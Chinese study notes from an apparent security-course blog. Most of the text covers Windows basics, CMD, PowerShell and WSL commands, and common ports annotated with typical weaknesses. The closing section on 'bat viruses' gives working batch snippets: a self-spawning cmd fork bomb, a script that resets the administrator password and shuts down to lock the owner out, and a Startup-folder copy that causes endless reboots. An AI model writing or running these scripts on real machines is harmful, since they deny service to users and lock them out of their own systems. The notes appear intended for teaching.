Windows基础之virus编写

声明!
学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!有兴趣的小伙伴可以点击下面连接进入b站主页[B站泷羽sec](https://space.bilibili.com/350329294)

 

目录

一、基本概念

二、基本操作

三、基本功能

四、Windows和Linux区别

五、Windows四种shell

1.命令提示符(CMD)

2. Windows PowerShell

3.Windows Terminal

4.Windows Subsystem for Linux (WSL)

六、Windows常⽤命令(cmd)

七、常见端口对应的服务

八、cmd 编写bat病毒


一、基本概念

1.操作系统定义:

Windows 是一种操作系统,它是计算机硬件和软件之间的桥梁,负责管理计算机的硬件资源(如 CPU、内存、硬盘、显卡等),并为各种应用程序提供运行环境。例如,当你打开一个文字处理软件,操作系统会分配内存给这个软件,让它能够正常运行。

2.用户账户:

Windows 可以设置多个用户账户,每个账户有自己的权限和设置。有管理员账户和标准用户账户之分。管理员账户拥有最高权限,可以安装软件、更改系统设置等;标准用户账户可以使用软件,但在进行某些系统更改时可能需要管理员权限。比如,在一个家庭计算机上,家长可能使用管理员账户,孩子使用标准用户账户,这样可以限制孩子对系统进行一些可能有风险的操作。

二、基本操作

1.鼠标操作:

1.1单击:用于选择一个对象,如文件、文件夹或图标。例如,在桌面上单击一个应用程序图标,就可以选中它。

1.2双击:用于打开一个对象,如双击一个文档文件,就会根据该文件类型关联的程序将其打开。如果是.docx 文件,会用 Microsoft Word(如果安装了)打开。

1.3右键单击:会弹出一个包含多种操作选项的菜单,这些选项与被单击的对象相关。比如,右键单击一个文件,可以选择复制、删除、重命名等操作。

1.4拖动:可以将一个对象从一个位置移动到另一个位置。比如,将一个文件从一个文件夹拖动到另一个文件夹,就实现了文件的移动。

2.键盘操作:

2.1快捷键:Windows 有许多快捷键,如 “Ctrl + C” 用于复制,“Ctrl + V” 用于粘贴,“Windows 键 + E” 用于打开文件资源管理器等。这些快捷键可以提高操作效率。例如,在复制和粘贴文本或文件时,使用快捷键比通过鼠标右键菜单操作更快捷。

3.开机和关机:

3.1开机按下计算机的电源按钮启动计算机,Windows 会进行一系列的自检和加载系统文件的过程,然后进入桌面。这个过程可能因计算机硬件配置和安装的软件数量而有所不同。

3.2关机:通过点击开始菜单中的 “关机” 选项来关闭计算机。正确的关机方式可以避免数据丢失和对计算机硬件造成损害。此外,还有 “睡眠” 和 “休眠” 模式。睡眠模式会将计算机当前的状态保存到内存中,耗电量较低,唤醒计算机时可以快速恢复到之前的状态;休眠模式会将计算机的状态保存到硬盘中,耗电量几乎为零,唤醒计算机时需要从硬盘中读取之前保存的数据来恢复状态。

三、基本功能

1.桌面和任务栏管理:

1.1桌面图标:可以添加、删除或重新排列桌面上的图标,这些图标代表了应用程序、文件夹或文件的快捷方式。例如,将经常使用的软件图标放在桌面上,方便快速打开。

1.2任务栏:可以调整任务栏的位置(如将其移到屏幕的左侧、右侧或顶部),还可以对任务栏上的图标进行管理。比如,固定或取消固定应用程序到任务栏,通过任务栏的 “开始” 菜单来启动各种应用程序。

2.文件和文件夹管理:

2.1文件资源管理器:这是 Windows 用于管理文件和文件夹的核心工具。可以在其中浏览计算机中的所有文件和文件夹,包括本地硬盘、外部存储设备(如 U 盘、移动硬盘)等。在文件资源管理器中,可以进行文件和文件夹的创建、删除、复制、移动、重命名等操作。例如,在 “下载” 文件夹中找到一个安装程序文件,然后将其移动到专门的 “软件安装” 文件夹中。

2.2文件类型和关联:Windows 根据文件的扩展名来识别文件类型,并且每个文件类型会关联一个默认的应用程序来打开它。例如,.jpg 文件通常关联到图片查看软件,.mp3 文件关联到音乐播放软件。用户可以根据自己的喜好更改文件关联,比如选择不同的图片查看器来打开.jpg 文件。

四、Windows和Linux区别

特点
Windows
Linux
⽤户界⾯
主要使⽤图形⽤户界⾯(GUI),也提供命令⾏界⾯ (CLI)
主要通过命令⾏界⾯(CLI)操作,也有 GUI 选项
⽂件系统

已驱动器盘符起始,或通过目录挂载分区

fhs目录结构,块设备挂载到目录(一切都是文件)

开源与闭源
⼤部分是闭源软件
⼤部分是开源软件
软件安装
通过安装程序和 WindowsStore
通过包管理器(如 apt yum、 dnf
权限管理
⽤户账户控制(UAC)
基于⽤户和组的权限管理
开发环境
.NET Framework、Visual Studio
GCC、Python、Java、各种开发⼯具
命令⾏⼯具
PowerShell、CMD、Windows Terminal
Bash、Zsh、Fish等
默认 Shell
CMD(命令提示符)
Bash(⼤多数发⾏版)
系统更新
通过 Windows Update
通过包管理器或命令⾏更新
硬件兼容性
更加⼴泛的硬件⽀持
⼀些硬件可能需要额外的驱动⽀持
安全性
相对较多的病毒和恶意软件攻击⻛险
由于开源和权限管理,安全性较⾼
路径格式
使⽤反斜杠(\),如 C:\Users\User\Documents
使⽤斜杠(/),如 /home/user/documents
系统配置
配置⽂件通常存储在注册表或特定⽬录中
配置⽂件通常为⽂本⽂件,位于/etc ⽬录或⽤户主⽬录下( ~/.config )

五、Windows四种shell

1.命令提示符(CMD)

1.1描述: 是Windows操作系统中命令行方式的代表,为用户提供了与计算机交互的一种便捷方式。
1.2特点: 用户可以在命令提示符中输入命令,并按照命令的格式和语法执行相应的操作。这些命令可以是内部命令,也可以是外部程序或脚本。
命令提示符提供了许多内置的命令和工具,可以完成各种任务。用户可以根据需要选择相应的命令进行操作。
通过批处理文件和脚本,用户可以将多个命令组合在一起,实现自动化操作。这使得命令提示符在自动化任务、系统维护等方面具有广泛的应用。
1.3常用命令如dir、cd、md(mkdir)、rd(rmdir)、del(erase)、ren(rename)、copy、xcopy、move、ipconfig
命令描述
dir用于显示指定目录中的文件和子目录列表
cd用于更改当前目录
md(mkdir)用于创建目录
rd(rmdir)用于删除目录
del(erase)用于删除文件
ren(rename)用于重命名文件或目录
copy用于复制文件
xcopy用于复制目录及其内容
move用于移动文件或目录
ipconfig用于显示和管理Windows计算机上所有网络接口的IP配置

2. Windows PowerShell

2.1描述是构建在.NET平台上的,它提供了对Windows操作系统和应用程序的深入访问。
2.2特点: PowerShell提供了丰富的脚本功能,允许用户编写复杂的自动化任务,从而简化日常管理和维护工作。
PowerShell命令传递的都是.NET对象,这使得用户能够利用.NET框架的强大功能来处理数据。
PowerShell的语法和命令结构相对简单,易于学习和掌握。同时,PowerShell还提供了详细的文档和在线帮助,方便用户随时查阅。
PowerShell具有内置的安全功能,如执行策略限制,可以限制脚本的运行,从而保护系统免受恶意脚本的攻击。
PowerShell与Windows操作系统紧密集成,可以直接访问Windows API和COM对象,这使得用户能够更方便地管理Windows系统。
2.3常用命令如Get-Command、Get-Process、Get-Help、Get-History、Get-Job、Get-Date、Get-Member、Get-Random、Get-Variable、Get-EventLog、Get-ChildItem、Get-Content、Set-Date、Set-Variable、Set-Service、Test-Path、Rename-Item、Move-Item、Invoke-Item、Get-WmiObject。
命令描述
Get-Command获取所有PowerShell命令,包括Cmdlet、Alias、Function等
Get-Process获取当前系统上运行的所有进程的信息
Get-Help显示有关Windows PowerShell命令和概念的信息
Get-History获取在当前会话中输入的命令的列表
Get-Job获取在当前会话中运行的Windows PowerShell后台作业
Get-Date获取当前日期和时间
Get-Member获取对象的属性和方法
Get-Random从集合中获取随机数或随机选择对象
Get-Variable获取当前控制台中的变量
Get-EventLog获取本地或远程计算机上的事件日志或事件日志列表中的事件
Get-ChildItem获取一个或多个指定位置中的项和子项
Get-Content获取指定位置的项的内容
Set-Date设置计算机上的系统时间
Set-Variable设置变量的值,如果该变量还不存在,则创建该变量
Set-Service启动、停止和挂起服务并更改服务的属性
Test-Path检查计算机上是否存在某个文件和文件夹
Rename-Item重命名文件和文件夹
Move-Item移动文件和文件夹
Invoke-Item在PowerShell提示符中打开应用程序或文件
Get-WmiObject获取Windows Management Instrumentation(WMI)类的实例或可用类的相关信息

3.Windows Terminal

3.1描述是微软推出的一款现代化、功能丰富的命令行工具,旨在为用户提供一个更加高效和便捷的终端环境。

3.2特点:集成了多种终端类型,包括传统的命令行界面、PowerShell、WSL终端等,用户可以根据需要自由切换。

支持多标签页功能,允许用户在同一时间打开多个终端会话,并通过快捷键或拖动标签页进行切换,提高了工作效率。

用户可以通过修改背景颜色、文本颜色、字体、光标形状等设置来自定义Windows Terminal的外观,以满足个性化需求。这些设置可以通过JSON配置文件进行调整。

完全支持Unicode和UTF-8字符编码,可以无问题地显示各种语言和符号。

利用GPU加速进行渲染,Windows Terminal实现了流畅的动画、改善的文本质量和整体更好的性能。

支持显示表情符号和TrueType字体,增强了终端界面的视觉效果。

包含搜索功能,允许用户在终端输出中搜索文本,方便用户快速定位信息。

提供了常见操作的键盘快捷键,提高了高级用户的效率。

3.3常用命令

PowerShell指令

命令描述
Get-Process列出当前系统中的所有进程
Start-Process notepad打开记事本程序
Stop-Process -Name "notepad"停止名为“记事本”的进程

命令提示符(CMD)指令

命令描述
dir列出当前目录下的文件和文件夹
cd更改当前目录
ping www.baidu.com测试与百度网站的连接情况

WSL(Linux子系统)指令

命令描述
ls列出当前Linux目录下的文件和文件夹(类似于CMD中的dir)
cd更改当前Linux目录(与CMD中的cd命令相同)
pwd显示当前Linux工作目录的完整路径

3.4快捷键

命令描述
Ctrl+N打开一个新的标签页
Ctrl+W关闭当前标签页
Ctrl+Tab、Ctrl+Shift+Tab在标签页之间切换
Ctrl+Shift+F打开搜索功能
Alt+Shift+D在当前标签页内分割出一个新的窗格(pane)

4.Windows Subsystem for Linux (WSL)

4.1描述:是微软开发的一项技术,它允许用户在Windows系统中直接运行完整的Linux环境,而无需虚拟机。

4.2特点:

原声兼容性:

  • WSL允许在Windows上运行原生的Linux二进制文件,无需修改或重新编译。
  • 开发者可以在Windows环境中轻松地访问和运行各种Linux工具、脚本和应用程序。

集成体验:

  • WSL与Windows紧密集成,可以通过Windows Terminal或其他终端应用程序访问Linux环境。
  • 用户可以在同一窗口中同时运行Windows和Linux应用程序,无需切换操作系统或启动虚拟机。

轻量级虚拟化

  • WSL2利用了轻量级虚拟化技术,在Windows内核之上运行完整的Linux内核。
  • 这使得WSL2在性能方面表现更优,同时减少了资源占用和启动时间。

多个Linux发行版支持

  • WSL允许用户安装和运行多个不同的Linux发行版,如Ubuntu、Debian、SUSE等。
  • 这使得用户可以选择自己喜欢的Linux环境,并根据需要进行切换和管理。

性能提升

  • 特别是WSL2版本,采用了虚拟化技术,提供了更接近原生Linux的性能。
  • 在文件系统性能、网络性能和Docker支持方面表现出色。

资源效率

  • 相比传统虚拟机,WSL占用的系统资源较少,启动速度快。
  • 且与Windows系统集成度高,便于文件共享和剪贴板互通。

4.3常用命令

查看帮助

命令描述
wsl --help显示WSL命令的使用方法和可用选项

列出已安装的Linux子系统

命令描述
wsl --list --verbose、wsl -l -v列出所有已安装的Linux发行版及其详细信息

列出网上可用的Linux子系统

命令描述
wsl --list --online、wsl -l -o列出可在WSL中安装的Linux发行版

安装Linux子系统

命令描述
wsl --install安装默认的Linux子系统(通常是Ubuntu)
wsl --install -d <DistributionName>安装指定名称的Linux子系统

启动Linux子系统

命令描述
wsl启动默认的Linux子系统
wsl -d <DistroName>、wsl --distribution <DistroName>启动指定名称的Linux子系统

终止Linux子系统

命令描述
wsl -t <DistroName>终止正在运行的指定名称的Linux子系统
wsl --shutdown终止所有正在运行的Linux子系统

设置默认用户

命令描述
<DistroName>.exe config --default-user <Username>为指定的Linux子系统设置默认用户

导出和导入Linux子系统

命令描述
wsl --export <DistroName> <OutputPath>将指定子系统导出为tar文件
wsl --import <NewDistroName> <ImportPath> <TarFilePath>将备份的子系统导入到新子系统

卸载Linux子系统

命令描述
wsl --unregister <DistroName>卸载指定名称的Linux子系统

查看WSL状态

命令描述
wsl --status显示WSL子系统的状态

六、Windows常⽤命令(cmd)

命令描述
dir
列出当前⽬录中的⽂件和⼦⽬录
cd
更改当前⽬录
mkdir
创建新⽬录
rmdir
删除空⽬录
del
删除⽂件
copy
复制⽂件
move
移动或重命名⽂件
xcopy
复制⽂件和⽬录,包括⼦⽬录
robocopy
⾼级⽂件复制⼯具
ipconfig
显示⽹络接⼝的 IP 配置信息
ping
测试⽹络连接
tracert
跟踪数据包到达⽬标的路径
netstat
显示⽹络连接和端⼝状态
tasklist
列出当前运⾏的进程
taskkill
终⽌⼀个或多个进程
systeminfo
显示系统信息
chkdsk
检查磁盘并修复错误
sfc /scannow
扫描并修复系统⽂件
shutdown
关机、重启或注销计算机
get-help
获取命令或命令⾏⼯具的帮助信息
set
显示或设置环境变量
echo
显示⼀段⽂本
cls
清除命令提示符窗⼝中的内容
help
显示所有可⽤命令及其简要说明
assoc
显示或更改⽂件扩展名与程序的关联
ftype
显示或更改⽂件类型的打开⽅式
copy con
从控制台输⼊并创建新⽂件
find
在⽂件中查找字符串
findstr
在⽂件中查找字符串(⽀持正则表达式)
path
显示或设置可执⾏⽂件搜索路径
setx
设置或修改环境变量(持久化)
taskschd.msc
打开任务调度程序
regedit
打开注册表编辑器
get-process
显示 PowerShell 中的所有进程
get-service
显示所有服务的状态
net user
列出或管理⽤户账户
net localgroup
显示或管理本地组
net use
显示或连接⽹络共享
systeminfo
显示计算机的详细信息
wmic
Windows 管理⼯具命令⾏界⾯
diskpart
磁盘分区管理⼯具
shutdown /s /t < 秒数 >
在指定秒数后关机
shutdown /r /t < 秒数 >
在指定秒数后重启
schtasks
创建、删除、配置和显示任务计划
whoami
显示当前⽤户的名称
ver
显示 Windows 的版本信息
hostname
显示计算机的⽹络名称
robocopy
复制⽂件和⽬录(具有恢复功能)
powercfg
管理电源设置
netsh
配置⽹络设置
cipher
管理加密⽂件和⽂件夹
nslookup

探测域名信息

七、常见端口对应的服务

端口服务

21

ftp
23

tenlnet

80web

80-89

可能是web

443

ssl心脏滴血漏洞以及一些web漏洞测试

445

 smb

1433

mssql

1521

oracle

2082/2083

cpanel主机管理系统登陆(国外用的较多)2222 da虚拟主机管理系统登陆(国外较多)

3128

squid代理默认端口-漫游内网

3306

mysql

3311/3312

 kangle主机管理系统登陆

3389

远程桌面

5432

postgreSQL

5900

vnc

6379

redis(未授权)

7001/7002

weblogic 默认弱口令,反序列化

7778

kloxo主机控制面板登录

8000-9090

一些常见的web端口,有些运维喜欢把管理后台开这些非80端口上面

8080

tomacat、wdcp主机管理系统,默认弱口令

8080/8090/9090

jboss

8083

vestacp 主机管理系统(国外较多)

8649

ganglia

8888

宝塔 主机管理默认端口

10000

virtuamin/webmin 服务器虚拟主机管理系统

11211

memcache 未授权访问

27017/27018

mongodb 未授权访问

28017

mongodb 统计系统页面

八、cmd 编写bat病毒

8.1资源耗尽病毒(脚本 文件后缀名 .bat)  (普通用户权限)(重启恢复)

echo start cmd >1.txt    --将启动cmd的命令写入文本

echo %0 >>1.txt   --无限启动文件命令写入文本

ren 1.txt 1. bat    --将文本文件重命名成脚本文件

8.2锁机病毒  (管理员权限)(重启无法登录)

echo net user administrator 123456 > c:\windows\Temp\1.bat

-- 修改管理员用户密码改成 123456 的命令写入到 1.bat 文件

echo shutdown /n /t 0 >> c:\windows\Temp\1.bat

-- 将关机命令写入到 1.bat 文件,运行后直接修改管理员密码达成锁机效果

8.3无限重启病毒  (管理员权限)(无限重启)

echo shutdown /n /t 0 > c:\windows\Temp\1.bat

copy c:\windows\Temp\1.bat "%USERPROFILE%\AppData

\Roaming\Microsoft\windows\Start\Menu\Programs

\Startup\"

8.4windows 系统目录接管与渗透的关系

"%USERPROFILE%\AppData\Roaming\Microsoft\windows

\Start\Menu\Programs\Startup\"

(开机自启目录)

c:\windows\Temp\1. bat (重启自动清空缓存)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值